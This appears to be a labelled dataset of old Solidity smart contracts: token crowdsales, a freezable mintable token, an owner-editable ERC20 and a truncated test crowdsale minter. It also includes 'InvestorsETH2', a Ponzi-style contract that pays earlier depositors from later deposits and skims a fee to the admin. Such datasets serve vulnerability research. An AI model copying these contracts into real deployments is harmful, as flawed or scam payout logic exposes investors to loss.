function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Word of mouth pro";
string constant TOKEN_SYMBOL = "wmp";
bool constant PAUSED = true;
address constant TARGET_USER = 0x63DA42f4151F88c7EAAeBb67783D855b4ac8AdD7;
uint constant START_TIME = 1531087260;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() view public returns (bool) {
return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[4] memory weiRaisedStartsBoundaries = [uint(0),uint(0),uint(0),uint(0)];
uint[4] memory weiRaisedEndsBoundaries = [uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000)];
uint64[4] memory timeStartsBoundaries = [uint64(1531087260),uint64(1532383140),uint64(1534197540),uint64(1536011940)];
uint64[4] memory timeEndsBoundaries = [uint64(1532383140),uint64(1534197540),uint64(1536011940),uint64(1537221540)];
uint[4] memory weiRaisedAndTimeRates = [uint(400),uint(300),uint(200),uint(100)];
for (uint i = 0; i < 4; i++) {
bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]);
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[2] memory weiAmountBoundaries = [uint(20000000000000000000),uint(10000000000000000000)];
uint[2] memory weiAmountRates = [uint(0),uint(50)];
for (uint j = 0; j < 2; j++) {
if (weiAmount >= weiAmountBoundaries[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, RefundableCrowdsale
, CappedCrowdsale
{
event Initialized();
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
Crowdsale(START_TIME > now ? START_TIME : now, 1546297140, 1500 * TOKEN_DECIMAL_MULTIPLIER, 0x8F988d90C96282402b47b01D7EADE079eA6eBe36)
CappedCrowdsale(20000000000000000000000)
RefundableCrowdsale(1000000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[4] memory addresses = [address(0x192ff136cd853ab6b9b5097bf017024d7da709c3),address(0xa00be5796cf65147a7494f2f27de08cca6847cbb),address(0xb1c1113f071fa97318074486e27efd8e753f6b54),address(0xbd3e941f88c892118a8fc50ffa8ccd1199e30704)];
uint[4] memory amounts = [uint(1500000000000000000000000),uint(5000000000000000000000000),uint(10000000000000000000000000),uint(3500000000000000000000000)];
uint64[4] memory freezes = [uint64(1577746808),uint64(1577746809),uint64(0),uint64(1561845608)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
} | 0 | 219 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicERC20
{
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
bool public isTokenTransferable = true;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) public {
assert(isTokenTransferable);
assert(balanceOf[msg.sender] >= _value);
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
assert(isTokenTransferable || _from == address(0x0));
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
contract BasicCrowdsale is Ownable
{
using SafeMath for uint256;
BasicERC20 token;
address public ownerWallet;
uint256 public startTime;
uint256 public endTime;
uint256 public totalEtherRaised = 0;
uint256 public minDepositAmount;
uint256 public maxDepositAmount;
uint256 public softCapEther;
uint256 public hardCapEther;
mapping(address => uint256) private deposits;
constructor () public {
}
function () external payable {
buy(msg.sender);
}
function getSettings () view public returns(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _totalEtherRaised,
uint256 _minDepositAmount,
uint256 _maxDepositAmount,
uint256 _tokensLeft ) {
_startTime = startTime;
_endTime = endTime;
_rate = getRate();
_totalEtherRaised = totalEtherRaised;
_minDepositAmount = minDepositAmount;
_maxDepositAmount = maxDepositAmount;
_tokensLeft = tokensLeft();
}
function tokensLeft() view public returns (uint256)
{
return token.balanceOf(address(0x0));
}
function changeMinDepositAmount (uint256 _minDepositAmount) onlyOwner public {
minDepositAmount = _minDepositAmount;
}
function changeMaxDepositAmount (uint256 _maxDepositAmount) onlyOwner public {
maxDepositAmount = _maxDepositAmount;
}
function getRate() view public returns (uint256) {
assert(false);
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
return weiAmount.mul(getRate());
}
function checkCorrectPurchase() view internal {
require(startTime < now && now < endTime);
require(msg.value >= minDepositAmount);
require(msg.value < maxDepositAmount);
require(totalEtherRaised + msg.value < hardCapEther);
}
function isCrowdsaleFinished() view public returns(bool)
{
return totalEtherRaised >= hardCapEther || now > endTime;
}
function buy(address userAddress) public payable {
require(userAddress != address(0));
checkCorrectPurchase();
uint256 tokens = getTokenAmount(msg.value);
totalEtherRaised = totalEtherRaised.add(msg.value);
token.transferFrom(address(0x0), userAddress, tokens);
if (totalEtherRaised >= softCapEther)
{
ownerWallet.transfer(this.balance);
}
else
{
deposits[userAddress] = deposits[userAddress].add(msg.value);
}
}
function getRefundAmount(address userAddress) view public returns (uint256)
{
if (totalEtherRaised >= softCapEther) return 0;
return deposits[userAddress];
}
function refund(address userAddress) public
{
assert(totalEtherRaised < softCapEther && now > endTime);
uint256 amount = deposits[userAddress];
deposits[userAddress] = 0;
userAddress.transfer(amount);
}
}
contract CrowdsaleCompatible is BasicERC20, Ownable
{
BasicCrowdsale public crowdsale = BasicCrowdsale(0x0);
function unfreezeTokens() public
{
assert(now > crowdsale.endTime());
isTokenTransferable = true;
}
function initializeCrowdsale(address crowdsaleContractAddress, uint256 tokensAmount) onlyOwner public {
transfer((address)(0x0), tokensAmount);
allowance[(address)(0x0)][crowdsaleContractAddress] = tokensAmount;
crowdsale = BasicCrowdsale(crowdsaleContractAddress);
isTokenTransferable = false;
transferOwnership(0x0);
}
}
contract EditableToken is BasicERC20, Ownable {
using SafeMath for uint256;
function editTokenProperties(string _name, string _symbol, int256 extraSupplay) onlyOwner public {
name = _name;
symbol = _symbol;
if (extraSupplay > 0)
{
balanceOf[owner] = balanceOf[owner].add(uint256(extraSupplay));
totalSupply = totalSupply.add(uint256(extraSupplay));
emit Transfer(address(0x0), owner, uint256(extraSupplay));
}
else if (extraSupplay < 0)
{
balanceOf[owner] = balanceOf[owner].sub(uint256(extraSupplay * -1));
totalSupply = totalSupply.sub(uint256(extraSupplay * -1));
emit Transfer(owner, address(0x0), uint256(extraSupplay * -1));
}
}
}
contract ThirdPartyTransferableToken is BasicERC20{
using SafeMath for uint256;
struct confidenceInfo {
uint256 nonce;
mapping (uint256 => bool) operation;
}
mapping (address => confidenceInfo) _confidence_transfers;
function nonceOf(address src) view public returns (uint256) {
return _confidence_transfers[src].nonce;
}
function transferByThirdParty(uint256 nonce, address where, uint256 amount, uint8 v, bytes32 r, bytes32 s) public returns (bool){
assert(where != address(this));
assert(where != address(0x0));
bytes32 hash = sha256(this, nonce, where, amount);
address src = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),v,r,s);
assert(balanceOf[src] >= amount);
assert(nonce == _confidence_transfers[src].nonce+1);
assert(_confidence_transfers[src].operation[uint256(hash)]==false);
balanceOf[src] = balanceOf[src].sub(amount);
balanceOf[where] = balanceOf[where].add(amount);
_confidence_transfers[src].nonce += 1;
_confidence_transfers[src].operation[uint256(hash)] = true;
emit Transfer(src, where, amount);
return true;
}
}
contract ERC20Token is CrowdsaleCompatible, EditableToken, ThirdPartyTransferableToken {
using SafeMath for uint256;
constructor() public
{
balanceOf[0x7F796688866cA74BD1c40bd3378ab693Fe557ce7] = uint256(1000000000) * 10**18;
emit Transfer(address(0x0), 0x7F796688866cA74BD1c40bd3378ab693Fe557ce7, balanceOf[0x7F796688866cA74BD1c40bd3378ab693Fe557ce7]);
transferOwnership(0x7F796688866cA74BD1c40bd3378ab693Fe557ce7);
totalSupply = 1000000000 * 10**18;
name = 'DarkTowerCoin';
symbol = 'DRTC';
decimals = 18;
}
function () public {
assert(false);
}
} | 1 | 3,720 |
pragma solidity ^0.4.24;
contract InvestorsETH2 {
mapping (address => uint256) invested;
mapping (address => uint256) dateInvest;
uint constant public investor = 2;
uint constant public BANK_FOR_ADVERTISING = 10;
address private adminAddr;
constructor() public{
adminAddr = msg.sender;
}
function () external payable {
address sender = msg.sender;
if (invested[sender] != 0) {
uint256 amount = getInvestorDividend(sender);
if (amount >= address(this).balance){
amount = address(this).balance;
}
sender.transfer(amount);
}
dateInvest[sender] = now;
invested[sender] += msg.value;
if (msg.value > 0){
adminAddr.transfer(msg.value * BANK_FOR_ADVERTISING / 100);
}
}
function getInvestorDividend(address addr) public view returns(uint256) {
return invested[addr] * investor / 100 * (now - dateInvest[addr]) / 1 days;
}
} | 0 | 485 |
pragma solidity ^0.4.11;
contract Base {
function max(uint a, uint b) returns (uint) { return a >= b ? a : b; }
function min(uint a, uint b) returns (uint) { return a <= b ? a : b; }
modifier only(address allowed) {
if (msg.sender != allowed) throw;
_;
}
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) return false;
uint size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
uint private bitlocks = 0;
modifier noReentrancy(uint m) {
var _locks = bitlocks;
if (_locks & m > 0) throw;
bitlocks |= m;
_;
bitlocks = _locks;
}
modifier noAnyReentrancy {
var _locks = bitlocks;
if (_locks > 0) throw;
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
modifier reentrant { _; }
}
contract MintableToken {
function mint(uint amount, address account);
function start();
}
contract Owned is Base {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract BalanceStorage {
function balances(address account) public constant returns(uint balance);
}
contract AddressList {
function contains(address addr) public constant returns (bool);
}
contract MinMaxWhiteList {
function allowed(address addr) public constant returns (uint , uint );
}
contract PresaleBonusVoting {
function rawVotes(address addr) public constant returns (uint rawVote);
}
contract CrowdsaleMinter is Owned {
string public constant VERSION = "0.2.1-TEST.MAX.3";
uint public constant COMMUNITY_SALE_START = 3972380;
uint public constant PRIORITY_SALE_START = 3972485;
uint public constant PUBLIC_SALE_START = 3972590;
uint public constant PUBLIC_SALE_END = 3972695;
uint public constant WITHDRAWAL_END = 3972800;
address public TEAM_GROUP_WALLET = 0x215aCB37845027cA64a4f29B2FCb7AffA8E9d326;
address public ADVISERS_AND_FRIENDS_WALLET = 0x41ab8360dEF1e19FdFa32092D83a7a7996C312a4;
uint public constant TEAM_BONUS_PER_CENT = 18;
uint public constant ADVISORS_AND_PARTNERS_PER_CENT = 10;
MintableToken public TOKEN = MintableToken(0x00000000000000000000000000);
AddressList public PRIORITY_ADDRESS_LIST = AddressList(0x463635eFd22558c64Efa6227A45649eeDc0e4888);
MinMaxWhiteList public COMMUNITY_ALLOWANCE_LIST = MinMaxWhiteList(0x26c63d631A307897d76Af5f02A08A09b3395DCb9);
BalanceStorage public PRESALE_BALANCES = BalanceStorage(0x4Fd997Ed7c10DbD04e95d3730cd77D79513076F2);
PresaleBonusVoting public PRESALE_BONUS_VOTING = PresaleBonusVoting(0x283a97Af867165169AECe0b2E963b9f0FC7E5b8c);
uint public constant COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH = 4;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 3;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 200;
uint public constant TOKEN_PER_ETH = 1000;
uint public constant PRE_SALE_BONUS_PER_CENT = 54;
function CrowdsaleMinter() {
if (
TOKEN_PER_ETH == 0
|| TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT >=100
|| MIN_ACCEPTED_AMOUNT_FINNEY < 1
|| owner == 0x0
|| address(COMMUNITY_ALLOWANCE_LIST) == 0x0
|| address(PRIORITY_ADDRESS_LIST) == 0x0
|| address(PRESALE_BONUS_VOTING) == 0x0
|| address(PRESALE_BALANCES) == 0x0
|| COMMUNITY_SALE_START == 0
|| PRIORITY_SALE_START == 0
|| PUBLIC_SALE_START == 0
|| PUBLIC_SALE_END == 0
|| WITHDRAWAL_END == 0
|| MIN_TOTAL_AMOUNT_TO_RECEIVE == 0
|| MAX_TOTAL_AMOUNT_TO_RECEIVE == 0
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP == 0
|| COMMUNITY_SALE_START <= block.number
|| COMMUNITY_SALE_START >= PRIORITY_SALE_START
|| PRIORITY_SALE_START >= PUBLIC_SALE_START
|| PUBLIC_SALE_START >= PUBLIC_SALE_END
|| PUBLIC_SALE_END >= WITHDRAWAL_END
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP > MAX_TOTAL_AMOUNT_TO_RECEIVE
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
}
bool public isAborted = false;
mapping (address => uint) public balances;
bool public TOKEN_STARTED = false;
uint public total_received_amount;
address[] public investors;
function investorsCount() constant external returns(uint) { return investors.length; }
function TOTAL_RECEIVED_ETH() constant external returns (uint) { return total_received_amount / 1 ether; }
function state() constant external returns (string) { return stateNames[ uint(currentState()) ]; }
function san_whitelist(address addr) public constant returns(uint, uint) { return COMMUNITY_ALLOWANCE_LIST.allowed(addr); }
function cfi_whitelist(address addr) public constant returns(bool) { return PRIORITY_ADDRESS_LIST.contains(addr); }
string[] private stateNames = ["BEFORE_START", "COMMUNITY_SALE", "PRIORITY_SALE", "PRIORITY_SALE_FINISHED", "PUBLIC_SALE", "BONUS_MINTING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, COMMUNITY_SALE, PRIORITY_SALE, PRIORITY_SALE_FINISHED, PUBLIC_SALE, BONUS_MINTING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint private constant COMMUNITY_PLUS_PRIORITY_SALE_CAP = COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH * 1 ether;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool private allBonusesAreMinted = false;
function ()
payable
noAnyReentrancy
{
State state = currentState();
uint amount_allowed;
if (state == State.COMMUNITY_SALE) {
var (min_finney, max_finney) = COMMUNITY_ALLOWANCE_LIST.allowed(msg.sender);
var (min, max) = (min_finney * 1 finney, max_finney * 1 finney);
var sender_balance = balances[msg.sender];
assert (sender_balance <= max);
assert (msg.value >= min);
amount_allowed = max - sender_balance;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PRIORITY_SALE) {
assert (PRIORITY_ADDRESS_LIST.contains(msg.sender));
amount_allowed = COMMUNITY_PLUS_PRIORITY_SALE_CAP - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PUBLIC_SALE) {
amount_allowed = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.REFUND_RUNNING) {
_sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noAnyReentrancy
{
_sendRefund();
}
function withdrawFundsAndStartToken() external
inState(State.WITHDRAWAL_RUNNING)
noAnyReentrancy
only(owner)
{
if (!owner.send(this.balance)) throw;
if (TOKEN.call(bytes4(sha3("start()")))) {
TOKEN_STARTED = true;
TokenStarted(TOKEN);
}
}
event TokenStarted(address tokenAddr);
function mintAllBonuses() external
